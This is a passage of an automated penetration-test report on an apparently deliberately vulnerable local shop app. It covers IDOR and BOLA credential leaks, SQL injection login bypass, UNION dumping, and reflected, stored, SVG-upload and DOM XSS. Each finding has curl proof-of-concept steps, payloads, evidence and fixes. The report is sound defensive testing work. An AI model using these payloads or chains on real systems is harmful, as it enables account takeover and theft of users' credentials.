leads to stored XSS via SVG/HTML served inline from /uploads/</td><td><span class=sev style=background:#e67e22>High</span></td><td><span sLine truncated
|
||||||
|
|
||||||
|
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited)</p><h4>How to fix it</h4><p>Enforce object-level authorization: in the /api/v2/users/:id handler reject when :id != authenticated caller id (or require an explicit admin role for arbitrary ids). Separately, never serialize password/apiKey in API responses — return a whitelisted DTO (id, username, role). Stop storing passwords in cleartext (bcrypt/argon2).</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s http://localhost:3000/api/v2/users/1 # baseline: {"error":"missing bearer token"}</pre></li><li><pre class=step>curl -s -c /tmp/j -X POST http://localhost:3000/register -d 'username=poc1&email=poc1@example.test&password=Poc1pw'</pre></li><li><pre class=step>TOK=$(curl -s -b /tmp/j http://localhost:3000/account/api-token | grep -Eo 'eyJ[A-Za-z0-9_.-]*') # your customer JWT (id 14)</pre></li><li><pre class=step>curl -s -H "Authorization: Bearer $TOK" http://localhost:3000/api/v2/users/1 # returns admin's full record incl plaintext password + apiKey</pre></li><li><pre class=step>curl -s -i -X POST http://localhost:3000/login --data-urlencode 'username=admin' --data-urlencode 'password=SuperSecretAdmin!2024' # 302 -> /account : logged in as admin</pre></li></ol><h4>Payload</h4><pre class=payload>Authorization: Bearer <valid customer JWT>; GET /api/v2/users/1 (also /12, /13 — any id)</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
Baseline no token -> {"error":"missing bearer token"} (auth IS enforced). With customer B's token (JWT id=13): GET /api/v2/users/12 -> {"id":12,"username":"nrsplt_a_10061","password":"Passw0rd_A_10061","apiKey":"nk_live_652c1651e4501044",...}. GET /api/v2/users/1 -> {"id":1,"username":"admin","password":"SuperSecretAdmin!2024","role":"admin","balance":500000,"apiKey":"nk_live_51Hc9adminSECRETkeydonot_share"}. Response carries _flag BURPAT{api_excessive_data_users_17874d4a}. Reproduced x2 identical. CHAIN: logging in with the leaked admin password (admin / SuperSecretAdmin!2024) returned 302 -> /account rendering 'My Account (admin)', Balance $500000.00, role admin = full admin account takeover.</pre></section><section class=finding style=border-left-color:#c0392b><h3><span class=sev style=background:#c0392b>Critical</span> 2. Unauthenticated IDOR on POST /api/graphql user(id:N) — returns any user's cleartext password + apiKey with no session</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Critical</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A01:2021-Broken-Access-Control · CWE-639</td><td class=fk>Confidence</td><td>1/1 · refute 1/2 · receipt_missing · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/api/graphql</td></tr><tr><td class=fk>Agent</td><td>idor</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>http://localhost:3000/api/graphql — GraphQL Query field `user(id: Int)` — argument `id`. Resolver has NO authentication or object-level authorization and exposes password/apiKey fields.</p><h4>What it means</h4><p>Measured: with zero authentication an attacker enumerates every user id and receives cleartext password + live apiKey. id=1 yields admin/SuperSecretAdmin!2024, which authenticates a full admin session (verified). Complete unauthenticated database credential dump and account takeover.
|
||||||
|
|
||||||
|
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>Require authentication on /api/graphql; add object-level authorization in the user resolver (caller may only read their own id unless admin); remove password/apiKey from the GraphQL schema entirely; disable introspection in production.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -H 'Content-Type: application/json' -X POST http://localhost:3000/api/graphql -d '{"query":"{ user(id:1){ id username email role apiKey password } }"}' # admin creds, no auth</pre></li><li><pre class=step>curl -s -H 'Content-Type: application/json' -X POST http://localhost:3000/api/graphql -d '{"query":"{ user(id:12){ id username password apiKey } }"}' # different user, different data</pre></li><li><pre class=step># confirm chain: log in with the returned admin password</pre></li><li><pre class=step>curl -s -i -X POST http://localhost:3000/login --data-urlencode 'username=admin' --data-urlencode 'password=SuperSecretAdmin!2024'</pre></li></ol><h4>Payload</h4><pre class=payload>POST /api/graphql {"query":"{ user(id:1){ id username email role apiKey password } }"}</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
No cookie, no token: POST /api/graphql {"query":"{ user(id:1){...} }"} -> {"data":{"user":{"id":1,"username":"admin","email":"admin@nimbuscart.test","role":"admin","apiKey":"nk_live_51Hc9adminSECRETkeydonot_share","password":"SuperSecretAdmin!2024"}},"_flag":"BURPAT{api_graphql_authz_bypass_e7c3fc41}"}. Same query id:12 -> user A record, id:13 -> user B record — arbitrary id, distinct per-user data, all unauthenticated.</pre></section><section class=finding style=border-left-color:#c0392b><h3><span class=sev style=background:#c0392b>Critical</span> 3. SQL Injection Authentication Bypass at POST /login (username field)</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Critical</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-89</td><td class=fk>Confidence</td><td>1/1 · refute 1/2 · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>POST http://localhost:3000/login</td></tr><tr><td class=fk>Agent</td><td>login_sqli_bypass</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>POST http://localhost:3000/login — POST /login, form-urlencoded body field `username`. Payload `admin'--` in username; password can be any value.</p><h4>What it means</h4><p>Complete authentication bypass with no valid credentials. The session issued lands as the admin user: GET /account returned the admin dashboard (admin role badge, Balance $500000.00, admin-only links Transfer funds / Change email / Get API token / Order webhook). Measured: full unauthorized admin session obtained from a single unauthenticated POST. Payload `admin'--` targets a named account; a generic tautology (`zzz' OR 1=1-- -`) also succeeded, so any/first row is selectable.
|
||||||
|
|
||||||
|
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited)</p><h4>How to fix it</h4><p>Use a parameterised/prepared query (or ORM binding) for the credential lookup so `username` is never concatenated into SQL. Look up the user row by bound username, then verify the password hash server-side with a constant-time comparison; never let input terminate or comment out the SQL. Return a generic 'Invalid credentials' regardless of which field is wrong, and add auth rate-limiting/lockout (server currently states 'no lockout enforced').</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -o /dev/null -w 'status=%{http_code} loc=%{redirect_url}\n' -A NeuroSploit/4.0.0 -X POST http://localhost:3000/login --data-urlencode "username=nobody_zzz" --data-urlencode "password=wrongpass" --data-urlencode "next=" # baseline -> 302 /login?err=Invalid credentials</pre></li><li><pre class=step>curl -s -o /dev/null -w 'status=%{http_code} loc=%{redirect_url}\n' -A NeuroSploit/4.0.0 -c /tmp/cj.txt -X POST http://localhost:3000/login --data-urlencode "username=admin'--" --data-urlencode "password=x" --data-urlencode "next=" # attack -> 302 /account</pre></li><li><pre class=step>curl -s -A NeuroSploit/4.0.0 -b /tmp/cj.txt http://localhost:3000/account | grep -E 'admin|Flag|Balance' # authenticated admin content returned</pre></li></ol><h4>Payload</h4><pre class=payload>username=admin'--&password=x&next=</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
BASELINE POST /login username=nobody_zzz&password=wrongpass -> HTTP 302, Location: /login?err=Invalid%20credentials%20(attempt%20%231%2C%20no%20lockout%20enforced). ATTACK POST /login username=admin'--&password=x -> HTTP 302, Location: /account, Set-Cookie: nimbus.sid=... . GET /account with that cookie -> HTTP 200 body: 'Logged in via SQL injection auth bypass! Flag: BURPAT{web_sqli_login_bypass_e1ad1d9f}', 'My Account (admin)', 'Balance: $500000.00'. CONTROL POST username=admin&password=x (no injection) -> 302 /login?err=Invalid credentials, proving the trailing --' comment neutralises the password check. Reproduced 3x via curl and once via a real Chromium browser (Playwright). PoC: pocs/sqli_login_bypass.sh. Screenshot: evidence/sqli-login-bypass-admin.png (browser-rendered admin account + flag).</pre><h4>Proof screenshots</h4><div class=shots><figure class=shot><img src="evidence/sqli-login-bypass-001-1.png" alt="proof for SQL Injection Authentication Bypass at POST /login (username field)"><figcaption>evidence/sqli-login-bypass-001-1.png</figcaption></figure></div><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/sqli_login_bypass.sh"><code>pocs/sqli_login_bypass.sh</code></a></li></ul></section><section class=finding style=border-left-color:#c0392b><h3><span class=sev style=background:#c0392b>Critical</span> 4. BOLA + excessive data exposure at GET /api/v2/users/:id — any customer reads any user's full record (plaintext password + apiKey)</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Critical</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A01:2021-Broken-Access-Control · CWE-639</td><td class=fk>Confidence</td><td>1/1 · refute 0/2 · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>GET http://localhost:3000/api/v2/users/{id}</td></tr><tr><td class=fk>Agent</td><td>api_bola_numeric_ids</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>GET http://localhost:3000/api/v2/users/{id} — Path parameter `{id}` on GET /api/v2/users/:id. Authenticated with a customer Bearer JWT (issued at /account/api-token). No per-object owner check; response also serializes password/apiKey fields the UI never uses.</p><h4>What it means</h4><p>Measured: any authenticated customer reads every user's full record — username, email, plaintext password, live apiKey, balance, role — by incrementing the numeric id. I retrieved admin (id 1), alice (2), bob (3). Chained the leaked admin password into a successful admin login and reached /admin (all-users listing) = full administrative account takeover.
|
||||||
|
|
||||||
|
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>Enforce server-side object-level authorization: reject requests where {id} != authenticated subject unless the caller holds an admin role. Remove password/apiKey from the API serializer (never return credential fields to any client). Store passwords hashed (bcrypt/argon2), not plaintext.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -c j.txt -d 'username=t1' -d 'email=t1@example.test' -d 'password=Pw!123456' http://localhost:3000/register</pre></li><li><pre class=step>curl -s -b j.txt http://localhost:3000/account/api-token # copy the eyJ... JWT (your uid in payload)</pre></li><li><pre class=step>curl -s -H 'Authorization: Bearer <JWT>' http://localhost:3000/api/v2/users/1 # returns admin record incl. password+apiKey</pre></li><li><pre class=step>curl -si -d 'username=admin' -d 'password=SuperSecretAdmin!2024' http://localhost:3000/login # 302 /account (takeover)</pre></li><li><pre class=step>curl -s -b <admin-cookie> http://localhost:3000/admin # full admin panel</pre></li></ol><h4>Payload</h4><pre class=payload>Authorization: Bearer <customer JWT uid=8> → GET /api/v2/users/1</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
Baseline: my JWT payload = {"id":8,"role":"customer"}. Attack: GET /api/v2/users/1 with my customer token → HTTP 200 {"id":1,"username":"admin","email":"admin@nimbuscart.test","password":"SuperSecretAdmin!2024","role":"admin","balance":500000,"apiKey":"nk_live_51Hc9admin..."}. Repeated for id=2 (alice) and id=3 (bob) — deterministic, full records each time. CHAIN: used leaked admin password to POST /login → 302 /account as admin, then GET /admin → 200 rendered Admin Panel listing all 9 users. PoC: pocs/bola_users_api.sh (re-run confirmed with fresh uid=11 token reading admin).</pre><h4>Proof screenshots</h4><div class=shots><figure class=shot><img src="evidence/ns-001-1.png" alt="proof for BOLA + excessive data exposure at GET /api/v2/users/:id — any customer reads any user's full record (plaintext password + apiKey)"><figcaption>evidence/ns-001-1.png</figcaption></figure></div><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/bola_users_api.sh"><code>pocs/bola_users_api.sh</code></a></li></ul></section><section class=finding style=border-left-color:#c0392b><h3><span class=sev style=background:#c0392b>Critical</span> 5. UNION-based SQL injection at GET /shop/search?q= dumps users table</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Critical</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-89</td><td class=fk>Confidence</td><td>0/1 · refute 1/2 · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>GET http://localhost:3000/shop/search?q=</td></tr><tr><td class=fk>Agent</td><td>api_bola_numeric_ids</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>GET http://localhost:3000/shop/search?q= — Query parameter `q` concatenated into a SQL SELECT (SQLite dialect). 5-column UNION aligns.</p><h4>What it means</h4><p>Unauthenticated full read of the users table including plaintext passwords (verified admin credential) — arbitrary DB read.
|
||||||
|
|
||||||
|
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited)</p><h4>How to fix it</h4><p>Use parameterised/prepared statements for the search query; never string-concatenate `q`. Apply least-privilege DB account.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s "http://localhost:3000/shop/search?q=zzz'" # malformed → altered output</pre></li><li><pre class=step>curl -s "http://localhost:3000/shop/search?q=zzz'%20UNION%20SELECT%20username,password,role,4,5%20FROM%20users--%20" # dumps admin credentials</pre></li></ol><h4>Payload</h4><pre class=payload>q=zzz' UNION SELECT username,password,role,4,5 FROM users--</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
HTTP 200 body rendered a results table containing admin / SuperSecretAdmin!2024 / admin and the app's own banner "UNION SQLi confirmed - sensitive columns dumped". Single-quote (q=zzz') alters/breaks the query deterministically. PoC: pocs/sqli_union_search.sh (unauthenticated).</pre><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/sqli_union_search.sh"><code>pocs/sqli_union_search.sh</code></a></li></ul></section><section class=finding style=border-left-color:#e67e22><h3><span class=sev style=background:#e67e22>High</span> 6. Reflected XSS at GET /shop/search?q= (executes in browser)</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>High</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-79</td><td class=fk>Confidence</td><td>1/1 · refute 1/2 · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>GET http://localhost:3000/shop/search?q=</td></tr><tr><td class=fk>Agent</td><td>api_bola_numeric_ids</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>GET http://localhost:3000/shop/search?q= — Query parameter `q` reflected unescaped into the HTML: <p class="lead">Showing results for: {q}</p>.</p><h4>What it means</h4><p>Arbitrary JavaScript execution in a victim's session on localhost:3000 origin (confirmed via document.title mutation). Can steal app state / drive authenticated actions.
|
||||||
|
|
||||||
|
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>HTML-encode `q` on output (context-aware escaping in the template); add a script-src CSP (current CSP only sets frame-ancestors).</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s "http://localhost:3000/shop/search?q=<b>MARK</b><script>alert(1)</script>" # reflected verbatim</pre></li><li><pre class=step>Open in a browser: http://localhost:3000/shop/search?q=<img src=x onerror=document.title='XSSPWN_ns7xk9'> # title becomes XSSPWN_ns7xk9</pre></li></ol><h4>Payload</h4><pre class=payload>q=<img src=x onerror=document.title='XSSPWN_ns7xk9'></pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
Baseline: `GET /shop/search?q=xss1337test` -> 200, Content-Type text/html, body contains `<p class="lead">Showing results for: xss1337test</p>` (source comment literally reads `reflected without encoding`). Attack: `GET /shop/search?q=<img src=x onerror=alert(document.domain)>` -> 200, body contains raw `<p class="lead">Showing results for: <img src=x onerror=alert(document.domain)></p>` — `<`/`>` NOT entity-encoded, injected as live DOM. Browser proof: Playwright/Chromium loaded the URL and the `onerror` handler fired a dialog with message `localhost-NS9X7K2XSS`, proving my injected JS executed (marker present, absent from any static reflection). CSP header is only `Content-Security-Policy: frame-ancestors 'self'` — no `script-src`/`default-src`, so inline event handlers are not blocked.</pre><h4>Proof screenshots</h4><div class=shots><figure class=shot><img src="evidence/ns-005-1.png" alt="proof for Reflected XSS at GET /shop/search?q= (executes in browser)"><figcaption>evidence/ns-005-1.png</figcaption></figure></div></section><section class=finding style=border-left-color:#e67e22><h3><span class=sev style=background:#e67e22>High</span> 7. Unrestricted file upload leads to stored XSS via SVG/HTML served inline from /uploads/</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>High</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A04:2021-Insecure-Design · CWE-434</td><td class=fk>Confidence</td><td>1/1 · refute 1/2 · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>POST http://localhost:3000/support/ticket</td></tr><tr><td class=fk>Agent</td><td>file_upload</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>POST http://localhost:3000/support/ticket — multipart/form-data field `attachment` on POST /support/ticket; file stored under original filename and served at GET /uploads/<filename> with attacker-controlled Content-Type</p><h4>What it means</h4><p>MEASURED: any file (SVG, HTML, .php, arbitrary extension) is accepted with no extension/content-type/content validation, stored under its original attacker-chosen filename, and served from /uploads/ with a matching Content-Type. Navigating to /uploads/x.svg executed attacker JS in the http://localhost:3000 origin (dialog confirmed in headless Chromium); an .html upload is served as text/html, giving full same-origin script execution against any user who opens the attachment link on a public ticket. Response CSP contains only frame-ancestors, so inline script is not blocked. NOT observed: server-side code execution — the .php payload was returned as raw source, so no RCE.
|
||||||
|
|
||||||
|
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>Server-side allowlist of permitted MIME types AND extensions (e.g. png/jpeg/gif/pdf) validated by magic bytes, not the client-supplied Content-Type; rename uploads to a random server-generated name and strip the original extension; serve /uploads/ with Content-Disposition: attachment and Content-Type: application/octet-stream (or a text/plain sandbox) plus a strict Content-Security-Policy (default-src 'none') so SVG/HTML cannot execute; ideally store files outside the web root and stream them through an authenticated handler.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>printf '<?xml version="1.0"?>\n<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"><script>alert(1)</script><text x=10 y=20>nrsplt_svg_9k2</text></svg>' > x.svg</pre></li><li><pre class=step>curl -s -i -F 'subject=poc' -F 'body=poc' -F 'attachment=@x.svg;type=image/svg+xml' http://localhost:3000/support/ticket # -> 302 Location: /support</pre></li><li><pre class=step>curl -s http://localhost:3000/support | grep uploads # -> href="/uploads/x.svg"</pre></li><li><pre class=step>curl -s -i http://localhost:3000/uploads/x.svg # -> 200, Content-Type: image/svg+xml, script intact, no script-src CSP</pre></li><li><pre class=step>Open http://localhost:3000/uploads/x.svg in a browser -> alert() fires (JS executes in localhost:3000 origin)</pre></li></ol><h4>Payload</h4><pre class=payload>attachment=@x.svg (Content-Type image/svg+xml) containing <svg onload="alert('nrsplt_svg_9k2')"><script>alert('nrsplt_svg_9k2')</script></svg>; also h.html served as text/html</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
Upload: POST /support/ticket (subject+body+attachment) -> HTTP 302 Location: /support. /support then lists: <a href="/uploads/x.svg">attachment</a>. GET /uploads/x.svg -> HTTP 200, Content-Type: image/svg+xml, body = SVG with script verbatim. Response CSP is only `Content-Security-Policy: frame-ancestors 'self'` (no script-src). Headless Chromium navigation to /uploads/x.svg => DIALOG_FIRED: "nrsplt_svg_9k2" (inline SVG script executed in localhost:3000 origin). HTML variant: GET /uploads/h.html -> 200 Content-Type: text/html; charset=UTF-8 (arbitrary same-origin HTML/JS). PHP variant: GET /uploads/s.php -> 200 Content-Type: application/x-httpd-php but body returned as RAW source (<?php echo "nrsplt_php";?>) — NOT executed (Node static serve, no PHP engine) => no RCE.</pre><h4>Proof screenshots</h4><div class=shots><figure class=shot><img src="evidence/ns-upload-001-1.png" alt="proof for Unrestricted file upload leads to stored XSS via SVG/HTML served inline from /uploads/"><figcaption>evidence/ns-upload-001-1.png</figcaption></figure></div></section><section class=finding style=border-left-color:#e67e22><h3><span class=sev style=background:#e67e22>High</span> 8. Stored XSS via product review `text`, rendered unescaped at GET /shop/product/:id to all viewers</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>High</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-79</td><td class=fk>Confidence</td><td>1/1 · refute 1/2 · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>POST http://localhost:3000/shop/product/1/review (display: GET http://localhost:3000/shop/product/1)</td></tr><tr><td class=fk>Agent</td><td>xss_stored</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>POST http://localhost:3000/shop/product/1/review (display: GET http://localhost:3000/shop/product/1) — POST /shop/product/:id/review, form field `text`. Stored and echoed verbatim inside <div class="card"><div>…HERE…</div></div> on GET /shop/product/:id. Requires an authenticated session to POST; display page is PUBLIC (renders to anonymous visitors).</p><h4>What it means</h4><p>Measured: an authenticated user's review body is stored and returned unescaped, and the injected <script>/<img onerror> execute in a real browser in the localhost origin for every visitor of the product page, including unauthenticated ones. Script runs same-origin as NimbusCart, so it can read/exfil the victim's session-scoped state and act as the victim (session cookie nimbus.sid is HttpOnly, so document.cookie theft is blocked, but same-origin requests as the victim — e.g. driving authenticated /account actions — are not).
|
||||||
|
|
||||||
|
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 6.1 if fully exploited)</p><h4>How to fix it</h4><p>HTML-entity-encode review text on output in the product template (the templating engine's auto-escaping is being bypassed here — render as text, not raw HTML). Add a real Content-Security-Policy with `script-src 'self'` (no inline) as defense-in-depth; the current CSP only sets frame-ancestors.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -c /tmp/j.jar --data-urlencode 'username=nrsplt_t' --data-urlencode 'email=nrsplt_t@example.test' --data-urlencode 'password=Nrsplt_t_pw!' http://localhost:3000/register -o /dev/null # register + auto-login</pre></li><li><pre class=step>curl -s -b /tmp/j.jar --data-urlencode "text=<script>document.title='nsxss7331'</script><img src=x onerror=alert('nsxss7331')>" http://localhost:3000/shop/product/1/review -o /dev/null # store payload</pre></li><li><pre class=step>curl -s http://localhost:3000/shop/product/1 | grep nsxss7331 # baseline: no session needed to VIEW; payload appears raw, un-encoded</pre></li><li><pre class=step>Open http://localhost:3000/shop/product/1 in a browser -> alert('nsxss7331') fires / document.title becomes nsxss7331</pre></li></ol><h4>Payload</h4><pre class=payload><script>document.title='nsxss7331'</script><img src=x onerror=window.__nsxss=document.domain></pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
Submit 302 to /shop/product/1. GET /shop/product/1 (with AND without session cookie) returns body: <div class="card"><b>nrsplt_15633</b><div><img src=x onerror=window.__nsxss=document.domain;document.title='nsxss7331'><script>window.__nsxss2='nsxss7331'</script></div></div> — payload NOT HTML-encoded. Headless Chromium load of the page: document.title='nsxss7331' (img onerror ran), window.__nsxss='localhost' (=document.domain), window.__nsxss2='nsxss7331' (inline <script> ran). Response CSP: `frame-ancestors 'self'` only — no script-src. PoC: pocs/stored_xss_product_review.sh (passes). Screenshot: /opt/neurosploit-rs/runs/ns-1789853137-localhost_3000/evidence/stored-xss-product-review.png</pre><h4>Proof screenshots</h4><div class=shots><figure class=shot><img src="evidence/stored-xss-product-review-1.png" alt="proof for Stored XSS via product review `text`, rendered unescaped at GET /shop/product/:id to all viewers"><figcaption>evidence/stored-xss-product-review-1.png</figcaption></figure></div><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/stored_xss_product_review.sh"><code>pocs/stored_xss_product_review.sh</code></a></li></ul></section><section class=finding style=border-left-color:#e67e22><h3><span class=sev style=background:#e67e22>High</span> 9. Stored XSS via SVG ticket attachment served as image/svg+xml at /uploads/</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>High</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-79</td><td class=fk>Confidence</td><td>1/1 · refute 1/2 · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>POST http://localhost:3000/support/ticket (display: GET http://localhost:3000/uploads/<name>.svg)</td></tr><tr><td class=fk>Agent</td><td>xss_stored</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>POST http://localhost:3000/support/ticket (display: GET http://localhost:3000/uploads/<name>.svg) — POST /support/ticket, multipart field `attachment` — an uploaded .svg is stored and served from /uploads/<filename>.svg with Content-Type: image/svg+xml. The public tickets list on GET /support links directly to each /uploads/ file.</p><h4>What it means</h4><p>Measured: an uploaded SVG is served inline as image/svg+xml on the same origin and its onload JavaScript executes when the file URL is opened in a browser. The upload links are surfaced publicly on GET /support ('Recent public tickets'), so any user/staff clicking a ticket attachment runs attacker JS in the NimbusCart origin.
|
||||||
|
|
||||||
|
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>Serve user uploads with Content-Type: application/octet-stream (or a strict allowlist that excludes image/svg+xml) and Content-Disposition: attachment; ideally host uploads on a separate sandbox origin. Reject/normalise SVG uploads, or add CSP `script-src 'none'` on the /uploads/ path.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -c /tmp/j.jar --data-urlencode 'username=nrsplt_t' --data-urlencode 'email=nrsplt_t@example.test' --data-urlencode 'password=Nrsplt_t_pw!' http://localhost:3000/register -o /dev/null</pre></li><li><pre class=step>printf '<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"><text>x</text></svg>' > /tmp/x.svg</pre></li><li><pre class=step>curl -s -b /tmp/j.jar -F 'subject=poc' -F 'body=poc' -F 'attachment=@/tmp/x.svg;type=image/svg+xml;filename=nssvg9021.svg' http://localhost:3000/support/ticket -o /dev/null # store</pre></li><li><pre class=step>curl -s -i http://localhost:3000/uploads/nssvg9021.svg | grep -i content-type # baseline: served as image/svg+xml, un-sanitised</pre></li><li><pre class=step>Open http://localhost:3000/uploads/nssvg9021.svg in a browser -> alert(1) fires in localhost origin</pre></li></ol><h4>Payload</h4><pre class=payload><svg xmlns="http://www.w3.org/2000/svg" onload="document.title='nssvg9021';window.__nssvg='nssvg9021'"><text>nssvg9021</text></svg></pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||||
|
Upload 302 to /support. GET /uploads/nssvg9021.svg -> 200, Content-Type: image/svg+xml, body is the SVG verbatim. Headless Chromium navigated to that URL: document.title='nssvg9021', window.__nssvg='nssvg9021' — the SVG onload executed in the localhost origin. CSP has no script-src/object-src. PoC: pocs/stored_xss_svg_upload.sh (passes). Screenshot: /opt/neurosploit-rs/runs/ns-1789853137-localhost_3000/evidence/stored-xss-svg-upload.png</pre><h4>Proof screenshots</h4><div class=shots><figure class=shot><img src="evidence/stored-xss-svg-upload-1.png" alt="proof for Stored XSS via SVG ticket attachment served as image/svg+xml at /uploads/"><figcaption>evidence/stored-xss-svg-upload-1.png</figcaption></figure></div><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/stored_xss_svg_upload.sh"><code>pocs/stored_xss_svg_upload.sh</code></a></li></ul></section><section class=finding style=border-left-color:#f1c40f><h3><span class=sev style=background:#f1c40f>Medium</span> 10. DOM-based XSS via ?name= URL parameter written to innerHTML on homepage</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Medium</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-79</td><td class=fk>Confidence</td><td>1/1 · receipt_missing · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/?name=</td></tr><tr><td class=fk>Agent</td><td>xss_dom</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>http://localhost:3000/?name= — Client script GET /app.js, function renderGreeting(): SOURCE = new URLSearchParams(window.location.search).get("name"); SINK = document.getElementById("greeting").innerHTML = "Welcome back, " + name + "! ...". No encoding/sanitization between source and sink. Runs on GET / (homepage) which contains <div id="greeting">.</p><h4>What it means</h4><p>Measured: attacker-supplied markup in the ?name= query parameter is inserted into the DOM via innerHTML and executes JavaScript in the http://localhost:3000 origin (verified: injected onerror handler ran, set document.title and a window global). A crafted homepage link (the intended 'campaign link' use, e.g. /?name=Alice) executes arbitrary JS in the victim's session context — enabling theft of same-origin data, actions as the victim, and phishing. Note the session cookie nimbus.sid is HttpOnly so document.cookie theft is blocked, but the JS can still call authenticated app/API endpoints as the victim.
|
||||||
|
|
||||||
|
